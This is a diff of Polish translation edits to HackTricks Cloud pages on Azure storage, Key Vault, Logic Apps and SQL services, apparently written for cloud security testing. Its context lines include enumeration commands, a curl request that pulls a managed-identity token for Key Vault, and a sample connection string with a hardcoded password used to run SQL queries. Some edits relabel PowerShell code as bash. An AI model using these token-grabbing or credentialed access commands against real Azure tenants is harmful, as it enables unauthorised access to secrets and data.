* Zwróć uwagę na przywrócenia
|
||||
|
||||
{% hint style="success" %}
|
||||
|
||||
@@ -9,8 +9,8 @@
|
||||
### Poziomy dostępu
|
||||
|
||||
- **Optymalizacja transakcji**: Optymalizowane do operacji intensywnie wykorzystujących transakcje.
|
||||
- **Gorące**: Zrównoważone między transakcjami a przechowywaniem.
|
||||
- **Chłodne**: Kosztowo efektywne dla przechowywania.
|
||||
- **Gorący**: Zrównoważone między transakcjami a przechowywaniem.
|
||||
- **Chłodny**: Ekonomiczne rozwiązanie do przechowywania.
|
||||
- **Premium:** Wysokowydajne przechowywanie plików zoptymalizowane pod kątem niskiej latencji i obciążeń intensywnie wykorzystujących IOPS.
|
||||
|
||||
### Kopie zapasowe
|
||||
@@ -19,7 +19,7 @@
|
||||
- **Tygodniowa kopia zapasowa**: Punkt kopii zapasowej jest tworzony co tydzień w wskazanym dniu i godzinie (niedziela o 19.30) i przechowywany od 1 do 200 tygodni.
|
||||
- **Miesięczna kopia zapasowa**: Punkt kopii zapasowej jest tworzony co miesiąc w wskazanym dniu i godzinie (np. pierwsza niedziela o 19.30) i przechowywany od 1 do 120 miesięcy.
|
||||
- **Roczna kopia zapasowa**: Punkt kopii zapasowej jest tworzony co roku w wskazanym dniu i godzinie (np. pierwsza niedziela stycznia o 19.30) i przechowywany od 1 do 10 lat.
|
||||
- Możliwe jest również wykonanie **ręcznych kopii zapasowych i zrzutów w dowolnym momencie**. Kopie zapasowe i zrzuty są w rzeczywistości tym samym w tym kontekście.
|
||||
- Możliwe jest również wykonywanie **ręcznych kopii zapasowych i zrzutów w dowolnym momencie**. Kopie zapasowe i zrzuty są w rzeczywistości tym samym w tym kontekście.
|
||||
|
||||
### Obsługiwane uwierzytelnienia przez SMB
|
||||
|
||||
@@ -56,7 +56,7 @@ az storage file download-batch -d . --account-name <name> --source <share-name>
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Az PowerShell"}}
|
||||
```powershell
|
||||
```bash
|
||||
Get-AzStorageAccount
|
||||
|
||||
# List File Shares
|
||||
@@ -80,7 +80,7 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
|
||||
{{#endtabs}}
|
||||
|
||||
> [!NOTE]
|
||||
> Domyślnie `az` cli użyje klucza konta do podpisania klucza i wykonania akcji. Aby użyć uprawnień głównego obiektu Entra ID, użyj parametrów `--auth-mode login --enable-file-backup-request-intent`.
|
||||
> Domyślnie `az` cli użyje klucza konta do podpisania klucza i wykonania akcji. Aby użyć uprawnień głównego identyfikatora Entra ID, użyj parametrów `--auth-mode login --enable-file-backup-request-intent`.
|
||||
|
||||
> [!TIP]
|
||||
> Użyj parametru `--account-key`, aby wskazać klucz konta do użycia\
|
||||
@@ -94,7 +94,7 @@ Musisz zastąpić miejsca `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` i `<FILE-SHARE-NAM
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Windows"}}
|
||||
```powershell
|
||||
```bash
|
||||
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
|
||||
if ($connectTestResult.TcpTestSucceeded) {
|
||||
# Save the password so the drive will persist on reboot
|
||||
|
||||
@@ -6,9 +6,9 @@
|
||||
|
||||
**Azure Key Vault** to usługa chmurowa oferowana przez Microsoft Azure do bezpiecznego przechowywania i zarządzania wrażliwymi informacjami, takimi jak **sekrety, klucze, certyfikaty i hasła**. Działa jako scentralizowane repozytorium, oferując bezpieczny dostęp i precyzyjną kontrolę za pomocą Azure Active Directory (Azure AD). Z perspektywy bezpieczeństwa, Key Vault zapewnia **ochronę modułu bezpieczeństwa sprzętowego (HSM)** dla kluczy kryptograficznych, zapewnia, że sekrety są szyfrowane zarówno w spoczynku, jak i w tranzycie, oraz oferuje solidne zarządzanie dostępem poprzez **kontrolę dostępu opartą na rolach (RBAC)** i polityki. Oferuje również **logi audytowe**, integrację z Azure Monitor do śledzenia dostępu oraz automatyczną rotację kluczy w celu zmniejszenia ryzyka związanego z długotrwałym narażeniem kluczy.
|
||||
|
||||
Zobacz [Azure Key Vault REST API overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) po pełne szczegóły.
|
||||
Zobacz [Azure Key Vault REST API overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) po szczegółowe informacje.
|
||||
|
||||
Zgodnie z [**dokumentacją**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts), Skarbce wspierają przechowywanie kluczy oprogramowania i kluczy wspieranych przez HSM, sekretów i certyfikatów. Zarządzane pule HSM wspierają tylko klucze wspierane przez HSM.
|
||||
Zgodnie z [**dokumentacją**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts), Skarbce wspierają przechowywanie kluczy programowych i kluczy wspieranych przez HSM, sekretów i certyfikatów. Zarządzane pule HSM wspierają tylko klucze wspierane przez HSM.
|
||||
|
||||
**Format URL** dla **skarbców** to `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}`, a dla zarządzanych pul HSM to: `https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`
|
||||
|
||||
@@ -16,7 +16,7 @@ Gdzie:
|
||||
|
||||
- `vault-name` to globalnie **unikalna** nazwa skarbca
|
||||
- `object-type` może być "keys", "secrets" lub "certificates"
|
||||
- `object-name` to **unikalna** nazwa obiektu w obrębie skarbca
|
||||
- `object-name` to **unikalna** nazwa obiektu w skarbcu
|
||||
- `object-version` jest generowana przez system i opcjonalnie używana do adresowania **unikalnej wersji obiektu**.
|
||||
|
||||
Aby uzyskać dostęp do sekretów przechowywanych w skarbcu, można wybrać między 2 modelami uprawnień podczas tworzenia skarbca:
|
||||
@@ -50,7 +50,7 @@ az keyvault show --name name-vault --query networkAcls
|
||||
```
|
||||
Poprzednie polecenie wyświetli ustawienia f**irewalla `name-vault`**, w tym włączone zakresy IP i zasady dotyczące zablokowanego ruchu.
|
||||
|
||||
Co więcej, możliwe jest utworzenie **prywatnego punktu końcowego**, aby umożliwić prywatne połączenie z sejfem.
|
||||
Ponadto możliwe jest utworzenie **prywatnego punktu końcowego**, aby umożliwić prywatne połączenie z sejfem.
|
||||
|
||||
### Ochrona przed usunięciem
|
||||
|
||||
@@ -92,7 +92,7 @@ az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<Key
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get keyvault token
|
||||
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ Możliwe jest wyświetlenie LogicApp w formie graficznej:
|
||||
|
||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
lub sprawdzenie kodu w sekcji "**Widok kodu aplikacji Logic**".
|
||||
lub sprawdzenie kodu w sekcji "**Widok kodu aplikacji logicznej**".
|
||||
|
||||
### Ochrona SSRF
|
||||
|
||||
@@ -47,7 +47,7 @@ az logic workflow identity show --name <LogicAppName> --resource-group <Resource
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerSHell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List
|
||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
|
||||
# Get info
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Az - Bazy danych MySQL
|
||||
# Az - Bazy Danych MySQL
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
@@ -10,13 +10,13 @@ Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure MySQL
|
||||
Azure Database for MySQL to w pełni zarządzana usługa relacyjnej bazy danych oparta na MySQL Community Edition, zaprojektowana w celu zapewnienia skalowalności, bezpieczeństwa i elastyczności dla różnych potrzeb aplikacji. Posiada dwa różne modele wdrożenia:
|
||||
Azure Database for MySQL to w pełni zarządzana usługa relacyjnej bazy danych oparta na edycji społeczności MySQL, zaprojektowana w celu zapewnienia skalowalności, bezpieczeństwa i elastyczności dla różnych potrzeb aplikacji. Posiada dwa różne modele wdrożenia:
|
||||
|
||||
* **Single Server** (jest na ścieżce wycofania):
|
||||
- Optymalizowany pod kątem ekonomicznych i łatwych w zarządzaniu wdrożeń MySQL.
|
||||
@@ -28,11 +28,11 @@ Azure Database for MySQL to w pełni zarządzana usługa relacyjnej bazy danych
|
||||
- Oferuje elastyczne skalowanie, zarządzanie poprawkami i optymalizację obciążenia.
|
||||
- Oferuje funkcjonalność zatrzymywania/uruchamiania w celu oszczędności kosztów.
|
||||
|
||||
### Kluczowe funkcje
|
||||
* **Zarządzanie serwerem**: Funkcja **ad-admin** umożliwia zarządzanie administratorami Azure Active Directory (AAD) dla serwerów MySQL, zapewniając kontrolę nad dostępem administracyjnym za pomocą poświadczeń AAD, podczas gdy funkcja **identity** umożliwia przypisywanie i zarządzanie Azure Managed Identities, oferując bezpieczną, wolną od poświadczeń autoryzację do uzyskiwania dostępu do zasobów Azure.
|
||||
* **Zarządzanie cyklem życia**: opcje uruchamiania lub zatrzymywania serwera, usuwania instancji elastycznego serwera, ponownego uruchamiania serwera w celu szybkiego zastosowania zmian konfiguracyjnych oraz czekania, aby upewnić się, że serwer spełnia określone warunki przed kontynuowaniem skryptów automatyzacji.
|
||||
* **Bezpieczeństwo i sieci**: można zarządzać regułami zapory serwera w celu zapewnienia bezpiecznego dostępu do bazy danych oraz odłączać konfiguracje sieci wirtualnej w razie potrzeby.
|
||||
* **Ochrona danych i kopie zapasowe**: obejmuje opcje zarządzania kopiami zapasowymi elastycznego serwera w celu odzyskiwania danych, przeprowadzania geo-odtworzenia w celu odzyskania serwera w inny region, eksportowania kopii zapasowych serwera do użytku zewnętrznego (w wersji Preview) oraz przywracania serwera z kopii zapasowej do określonego momentu w czasie.
|
||||
### Kluczowe Funkcje
|
||||
* **Zarządzanie Serwerem**: Funkcja **ad-admin** umożliwia zarządzanie administratorami Azure Active Directory (AAD) dla serwerów MySQL, zapewniając kontrolę nad dostępem administracyjnym za pomocą poświadczeń AAD, podczas gdy funkcja **identity** umożliwia przypisywanie i zarządzanie Azure Managed Identities, oferując bezpieczną, wolną od poświadczeń autoryzację do uzyskiwania dostępu do zasobów Azure.
|
||||
* **Zarządzanie Cyklami Życia**: opcje uruchamiania lub zatrzymywania serwera, usuwania instancji elastycznego serwera, ponownego uruchamiania serwera w celu szybkiego zastosowania zmian konfiguracyjnych oraz czekania, aby upewnić się, że serwer spełnia określone warunki przed kontynuowaniem skryptów automatyzacji.
|
||||
* **Bezpieczeństwo i Sieci**: można zarządzać regułami zapory serwera w celu zapewnienia bezpiecznego dostępu do bazy danych oraz odłączać konfiguracje sieci wirtualnej w razie potrzeby.
|
||||
* **Ochrona Danych i Kopie Zapasowe**: obejmuje opcje zarządzania kopiami zapasowymi elastycznego serwera w celu odzyskiwania danych, wykonywania geo-przywracania w celu odzyskania serwera w innej regionie, eksportowania kopii zapasowych serwera do użytku zewnętrznego (w wersji podglądowej) oraz przywracania serwera z kopii zapasowej do określonego momentu w czasie.
|
||||
|
||||
### Enumeracja
|
||||
|
||||
@@ -73,7 +73,7 @@ az mysql flexible-server server-logs list --resource-group <resource-group-name>
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
```bash
|
||||
Get-Command -Module Az.MySql
|
||||
|
||||
# Get all flexible servers in a resource group
|
||||
|
||||
@@ -28,10 +28,10 @@ Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).
|
||||
- Oferuje elastyczne skalowanie, automatyczne utrzymanie i funkcjonalność oszczędzającą koszty.
|
||||
- Umożliwia uruchamianie i zatrzymywanie serwera w celu optymalizacji kosztów.
|
||||
|
||||
### Kluczowe Cechy
|
||||
### Kluczowe Funkcje
|
||||
|
||||
* **Niestandardowe Okna Utrzymania**: Zaplanuj aktualizacje, aby zminimalizować zakłócenia.
|
||||
* **Aktywne Monitorowanie**: Uzyskaj dostęp do szczegółowych metryk i logów, aby śledzić i poprawiać wydajność bazy danych.
|
||||
* **Aktywne Monitorowanie**: Uzyskaj dostęp do szczegółowych metryk i dzienników, aby śledzić i poprawiać wydajność bazy danych.
|
||||
* **Zatrzymaj/Uruchom Serwer**: Użytkownicy mogą zatrzymywać i uruchamiać serwer.
|
||||
* **Automatyczne Kopie Zapasowe**: Wbudowane codzienne kopie zapasowe z okresami przechowywania konfigurowalnymi do 35 dni.
|
||||
* **Dostęp oparty na rolach**: Kontroluj uprawnienia użytkowników i dostęp administracyjny za pośrednictwem Azure Active Directory.
|
||||
@@ -82,7 +82,7 @@ az postgres flexible-server server-logs list --resource-group <resource-group-na
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
```bash
|
||||
Get-Command -Module Az.PostgreSql
|
||||
|
||||
# List flexible-servers in a resource group
|
||||
|
||||
@@ -9,12 +9,12 @@ Azure SQL to rodzina zarządzanych, bezpiecznych i inteligentnych produktów, kt
|
||||
Azure SQL składa się z trzech głównych ofert:
|
||||
|
||||
1. **Azure SQL Database**: To **w pełni zarządzana usługa bazy danych**, która pozwala na hostowanie indywidualnych baz danych w chmurze Azure. Oferuje wbudowaną inteligencję, która uczy się Twoich unikalnych wzorców bazy danych i dostarcza spersonalizowane rekomendacje oraz automatyczne dostosowywanie.
|
||||
2. **Azure SQL Managed Instance**: To rozwiązanie dla większych wdrożeń w skali całej instancji SQL Server. Oferuje niemal 100% zgodności z najnowszym silnikiem bazy danych SQL Server w wersji on-premises (Enterprise Edition), który zapewnia natywną implementację wirtualnej sieci (VNet), odpowiadającą na powszechne obawy dotyczące bezpieczeństwa, oraz model biznesowy korzystny dla klientów SQL Server on-premises.
|
||||
3. **Azure SQL Server na maszynach wirtualnych Azure**: To infrastruktura jako usługa (IaaS) i jest najlepsza dla migracji, gdzie chcesz **kontrolować system operacyjny i instancję SQL Server**, jakby to był serwer działający w siedzibie firmy.
|
||||
2. **Azure SQL Managed Instance**: To rozwiązanie dla większych wdrożeń w skali całej instancji SQL Server. Oferuje niemal 100% zgodności z najnowszym silnikiem bazy danych SQL Server w wersji lokalnej (Enterprise Edition), który zapewnia natywną implementację wirtualnej sieci (VNet), odpowiadającą na powszechne obawy dotyczące bezpieczeństwa, oraz model biznesowy korzystny dla klientów SQL Server w wersji lokalnej.
|
||||
3. **Azure SQL Server na maszynach wirtualnych Azure**: To infrastruktura jako usługa (IaaS) i jest najlepsza do migracji, gdzie chcesz **kontrolować system operacyjny i instancję SQL Server**, jakby to był serwer działający lokalnie.
|
||||
|
||||
### Azure SQL Database
|
||||
|
||||
**Azure SQL Database** to **w pełni zarządzana platforma bazy danych jako usługa (PaaS)**, która zapewnia skalowalne i bezpieczne rozwiązania relacyjnych baz danych. Jest oparta na najnowszych technologiach SQL Server i eliminuje potrzebę zarządzania infrastrukturą, co czyni ją popularnym wyborem dla aplikacji w chmurze.
|
||||
**Azure SQL Database** to **w pełni zarządzana platforma bazy danych jako usługa (PaaS)**, która zapewnia skalowalne i bezpieczne rozwiązania relacyjnych baz danych. Jest zbudowana na najnowszych technologiach SQL Server i eliminuje potrzebę zarządzania infrastrukturą, co czyni ją popularnym wyborem dla aplikacji w chmurze.
|
||||
|
||||
#### Kluczowe cechy
|
||||
|
||||
@@ -44,50 +44,50 @@ Azure SQL Database obsługuje elastyczne opcje wdrożenia, aby dostosować się
|
||||
|
||||
- **Pojedyncze bazy danych**: Każda baza danych jest izolowana i ma swoje własne dedykowane zasoby obliczeniowe, pamięci i przechowywania. Zasoby mogą być skalowane dynamicznie (w górę lub w dół) bez przestojów (1–128 vCores, 32 GB–4 TB przechowywania i do 128 TB).
|
||||
- **Elastic Pools**: Dzielą zasoby między wieloma bazami danych w puli, aby zmaksymalizować efektywność i zaoszczędzić koszty. Zasoby mogą być również skalowane dynamicznie dla całej puli.
|
||||
- **Elastyczność poziomu usług**: Rozpocznij od małej pojedynczej bazy danych w poziomie ogólnego użytku. Uaktualnij do poziomów krytycznych dla biznesu lub hyperskalowych w miarę wzrostu potrzeb.
|
||||
- **Elastyczność poziomów usług**: Rozpocznij od małej pojedynczej bazy danych w poziomie ogólnego użytku. Uaktualnij do poziomów krytycznych dla biznesu lub hyperskalowych w miarę wzrostu potrzeb.
|
||||
- **Opcje skalowania**: Dynamiczne skalowanie lub alternatywy autoskalowania.
|
||||
|
||||
#### Wbudowane monitorowanie i optymalizacja
|
||||
|
||||
- **Query Store**: Śledzi problemy z wydajnością, identyfikuje głównych konsumentów zasobów i oferuje wykonalne rekomendacje.
|
||||
- **Automatyczne dostosowywanie**: Proaktywnie optymalizuje wydajność za pomocą funkcji takich jak automatyczne indeksowanie i korekty planu zapytań.
|
||||
- **Automatyczne dostosowywanie**: Proaktywnie optymalizuje wydajność za pomocą funkcji takich jak automatyczne indeksowanie i korekcje planu zapytań.
|
||||
- **Integracja telemetrii**: Obsługuje monitorowanie przez Azure Monitor, Event Hubs lub Azure Storage dla dostosowanych informacji.
|
||||
|
||||
#### Odzyskiwanie po awarii i dostępność
|
||||
|
||||
- **Automatyczne kopie zapasowe**: SQL Database automatycznie wykonuje pełne, różnicowe i logi transakcyjne kopie zapasowe baz danych.
|
||||
- **Automatyczne kopie zapasowe**: SQL Database automatycznie wykonuje pełne, różnicowe i logi transakcji kopie zapasowe baz danych.
|
||||
- **Przywracanie do punktu w czasie**: Przywracaj bazy danych do dowolnego wcześniejszego stanu w okresie przechowywania kopii zapasowych.
|
||||
- **Geo-redundancja**
|
||||
- **Grupy failover**: Ułatwia odzyskiwanie po awarii, grupując bazy danych do automatycznego przełączania między regionami.
|
||||
- **Grupy failover**: Ułatwia odzyskiwanie po awarii, grupując bazy danych do automatycznego przełączania awaryjnego między regionami.
|
||||
|
||||
### Azure SQL Managed Instance
|
||||
|
||||
**Azure SQL Managed Instance** to silnik bazy danych Platform as a Service (PaaS), który oferuje niemal 100% zgodności z SQL Server i automatycznie obsługuje większość zadań zarządzających (np. aktualizacje, poprawki, kopie zapasowe, monitorowanie). Zapewnia rozwiązanie chmurowe do migracji baz danych SQL Server on-premises z minimalnymi zmianami.
|
||||
**Azure SQL Managed Instance** to silnik bazy danych jako usługa (PaaS), który oferuje niemal 100% zgodności z SQL Server i automatycznie obsługuje większość zadań zarządzających (np. aktualizacje, łatanie, kopie zapasowe, monitorowanie). Zapewnia rozwiązanie chmurowe do migracji lokalnych baz danych SQL Server z minimalnymi zmianami.
|
||||
|
||||
#### Poziomy usług
|
||||
|
||||
- **Ogólny cel**: Opcja ekonomiczna dla aplikacji z standardowymi wymaganiami I/O i opóźnienia.
|
||||
- **Ogólny cel**: Opcja kosztowa dla aplikacji z standardowymi wymaganiami I/O i opóźnienia.
|
||||
- **Krytyczny dla biznesu**: Opcja o wysokiej wydajności z niskim opóźnieniem I/O dla krytycznych obciążeń.
|
||||
|
||||
#### Zaawansowane funkcje bezpieczeństwa
|
||||
#### Zaawansowane funkcje zabezpieczeń
|
||||
|
||||
* **Ochrona przed zagrożeniami**: Zaawansowana ochrona przed zagrożeniami informuje o podejrzanych działaniach i atakach SQL injection. Audytowanie w celu śledzenia i rejestrowania zdarzeń bazy danych dla zgodności.
|
||||
* **Kontrola dostępu**: Uwierzytelnianie Microsoft Entra dla centralnego zarządzania tożsamością. Bezpieczeństwo na poziomie wiersza i dynamiczne maskowanie danych dla szczegółowej kontroli dostępu.
|
||||
* **Kontrola dostępu**: Uwierzytelnianie Microsoft Entra dla scentralizowanego zarządzania tożsamością. Bezpieczeństwo na poziomie wiersza i dynamiczne maskowanie danych dla szczegółowej kontroli dostępu.
|
||||
* **Kopie zapasowe**: Automatyczne i ręczne kopie zapasowe z możliwością przywracania do punktu w czasie.
|
||||
|
||||
### Azure SQL Virtual Machines
|
||||
|
||||
**Azure SQL Virtual Machines** jest najlepsze dla migracji, gdzie chcesz **kontrolować system operacyjny i instancję SQL Server**, jakby to był serwer działający w siedzibie firmy. Może mieć różne rozmiary maszyn oraz szeroki wybór wersji i edycji SQL Server.
|
||||
**Azure SQL Virtual Machines** jest najlepsze do migracji, gdzie chcesz **kontrolować system operacyjny i instancję SQL Server**, jakby to był serwer działający lokalnie. Może mieć różne rozmiary maszyn oraz szeroki wybór wersji i edycji SQL Server.
|
||||
|
||||
#### Kluczowe cechy
|
||||
|
||||
**Automatyczne kopie zapasowe**: Harmonogram kopii zapasowych dla baz danych SQL.
|
||||
**Automatyczne poprawki**: Automatyzuje instalację aktualizacji systemu Windows i SQL Server w czasie okna konserwacyjnego.
|
||||
**Automatyczne łatanie**: Automatyzuje instalację aktualizacji systemu Windows i SQL Server w czasie okna konserwacji.
|
||||
**Integracja z Azure Key Vault**: Automatycznie konfiguruje Key Vault dla maszyn wirtualnych SQL Server.
|
||||
**Integracja z Defender for Cloud**: Wyświetl rekomendacje Defender for SQL w portalu.
|
||||
**Elastyczność wersji/edycji**: Zmień metadane wersji lub edycji SQL Server bez ponownego wdrażania maszyny wirtualnej.
|
||||
|
||||
#### Funkcje bezpieczeństwa
|
||||
#### Funkcje zabezpieczeń
|
||||
|
||||
**Microsoft Defender for SQL**: Wgląd w bezpieczeństwo i alerty.
|
||||
**Integracja z Azure Key Vault**: Bezpieczne przechowywanie poświadczeń i kluczy szyfrujących.
|
||||
@@ -166,7 +166,7 @@ az sql vm show --resource-group <res-grp> --name <name>
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Az PowerShell"}}
|
||||
```powershell
|
||||
```bash
|
||||
# List Servers
|
||||
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
|
||||
|
||||
@@ -206,10 +206,10 @@ Get-AzSqlVM
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Połącz się i uruchom zapytania SQL
|
||||
### Połącz i uruchom zapytania SQL
|
||||
|
||||
Możesz znaleźć ciąg połączenia (zawierający dane uwierzytelniające) z przykładu [enumerating an Az WebApp](az-app-services.md):
|
||||
```powershell
|
||||
```bash
|
||||
function invoke-sql{
|
||||
param($query)
|
||||
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
|
||||
@@ -228,7 +228,7 @@ $Connection.Close()
|
||||
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
|
||||
```
|
||||
Możesz również użyć sqlcmd, aby uzyskać dostęp do bazy danych. Ważne jest, aby wiedzieć, czy serwer pozwala na publiczne połączenia `az sql server show --name <server-name> --resource-group <resource-group>`, a także czy reguła zapory pozwala naszemu adresowi IP na dostęp:
|
||||
```powershell
|
||||
```bash
|
||||
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
|
||||
```
|
||||
## Odniesienia
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Konta magazynowe Azure to podstawowe usługi w Microsoft Azure, które zapewniają skalowalną, bezpieczną i wysoko dostępną chmurę **przechowywania dla różnych typów danych**, w tym blobów (dużych obiektów binarnych), plików, kolejek i tabel. Służą jako kontenery, które grupują te różne usługi magazynowe pod jednym przestrzenią nazw dla łatwego zarządzania.
|
||||
Konta magazynowe Azure to podstawowe usługi w Microsoft Azure, które zapewniają skalowalny, bezpieczny i wysoko dostępny magazyn w chmurze **dla różnych typów danych**, w tym blobów (dużych obiektów binarnych), plików, kolejek i tabel. Służą jako kontenery, które grupują te różne usługi magazynowe pod jednym przestrzenią nazw dla łatwego zarządzania.
|
||||
|
||||
**Główne opcje konfiguracji**:
|
||||
|
||||
@@ -16,14 +16,14 @@ Konta magazynowe Azure to podstawowe usługi w Microsoft Azure, które zapewniaj
|
||||
**Opcje konfiguracji bezpieczeństwa**:
|
||||
|
||||
- **Wymagaj bezpiecznego transferu dla operacji REST API**: Wymagaj TLS w każdej komunikacji z magazynem.
|
||||
- **Zezwalaj na anonimowy dostęp do poszczególnych kontenerów**: Jeśli nie, nie będzie możliwe włączenie anonimowego dostępu w przyszłości.
|
||||
- **Zezwalaj na włączenie dostępu anonimowego do poszczególnych kontenerów**: Jeśli nie, nie będzie możliwe włączenie dostępu anonimowego w przyszłości.
|
||||
- **Włącz dostęp do klucza konta magazynowego**: Jeśli nie, dostęp za pomocą kluczy współdzielonych będzie zabroniony.
|
||||
- **Minimalna wersja TLS**.
|
||||
- **Dozwolony zakres dla operacji kopiowania**: Zezwól z dowolnego konta magazynowego, z dowolnego konta magazynowego z tego samego najemcy Entra lub z konta magazynowego z prywatnymi punktami końcowymi w tej samej sieci wirtualnej.
|
||||
- **Dozwolony zakres dla operacji kopiowania**: Zezwól z dowolnego konta magazynowego, z dowolnego konta magazynowego z tej samej dzierżawy Entra lub z konta magazynowego z prywatnymi punktami końcowymi w tej samej sieci wirtualnej.
|
||||
|
||||
**Opcje przechowywania blobów**:
|
||||
|
||||
- **Zezwalaj na replikację między najemcami**.
|
||||
- **Zezwalaj na replikację między dzierżawami**.
|
||||
- **Poziom dostępu**: Gorący (często dostępne dane), Chłodny i Zimny (rzadko dostępne dane).
|
||||
|
||||
**Opcje sieciowe**:
|
||||
@@ -36,7 +36,7 @@ Konta magazynowe Azure to podstawowe usługi w Microsoft Azure, które zapewniaj
|
||||
|
||||
**Opcje ochrony danych**:
|
||||
|
||||
- **Przywracanie w czasie dla kontenerów**: Umożliwia przywrócenie kontenerów do wcześniejszego stanu.
|
||||
- **Przywracanie w punkcie czasowym dla kontenerów**: Umożliwia przywrócenie kontenerów do wcześniejszego stanu.
|
||||
- Wymaga włączenia wersjonowania, zmiany feedu i miękkiego usuwania blobów.
|
||||
- **Włącz miękkie usuwanie dla blobów**: Umożliwia okres przechowywania w dniach dla usuniętych blobów (nawet nadpisanych).
|
||||
- **Włącz miękkie usuwanie dla kontenerów**: Umożliwia okres przechowywania w dniach dla usuniętych kontenerów.
|
||||
@@ -44,7 +44,7 @@ Konta magazynowe Azure to podstawowe usługi w Microsoft Azure, które zapewniaj
|
||||
- **Włącz wersjonowanie dla blobów**: Utrzymuj poprzednie wersje swoich blobów.
|
||||
- **Włącz feed zmian blobów**: Zachowuj logi tworzenia, modyfikacji i usuwania zmian w blobach.
|
||||
- **Włącz wsparcie dla niezmienności na poziomie wersji**: Umożliwia ustawienie polityki przechowywania opartej na czasie na poziomie konta, która będzie miała zastosowanie do wszystkich wersji blobów.
|
||||
- Wsparcie dla niezmienności na poziomie wersji i przywracanie w czasie dla kontenerów nie mogą być włączone jednocześnie.
|
||||
- Wsparcie dla niezmienności na poziomie wersji i przywracanie w punkcie czasowym dla kontenerów nie mogą być włączone jednocześnie.
|
||||
|
||||
**Opcje konfiguracji szyfrowania**:
|
||||
|
||||
@@ -53,7 +53,7 @@ Konta magazynowe Azure to podstawowe usługi w Microsoft Azure, które zapewniaj
|
||||
|
||||
### Punkty końcowe magazynu
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="197">Usługa magazynowa</th><th>Punkt końcowy</th></tr></thead><tbody><tr><td><strong>Przechowywanie blobów</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Przechowywanie Data Lake</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Przechowywanie kolejek</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Przechowywanie tabel</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
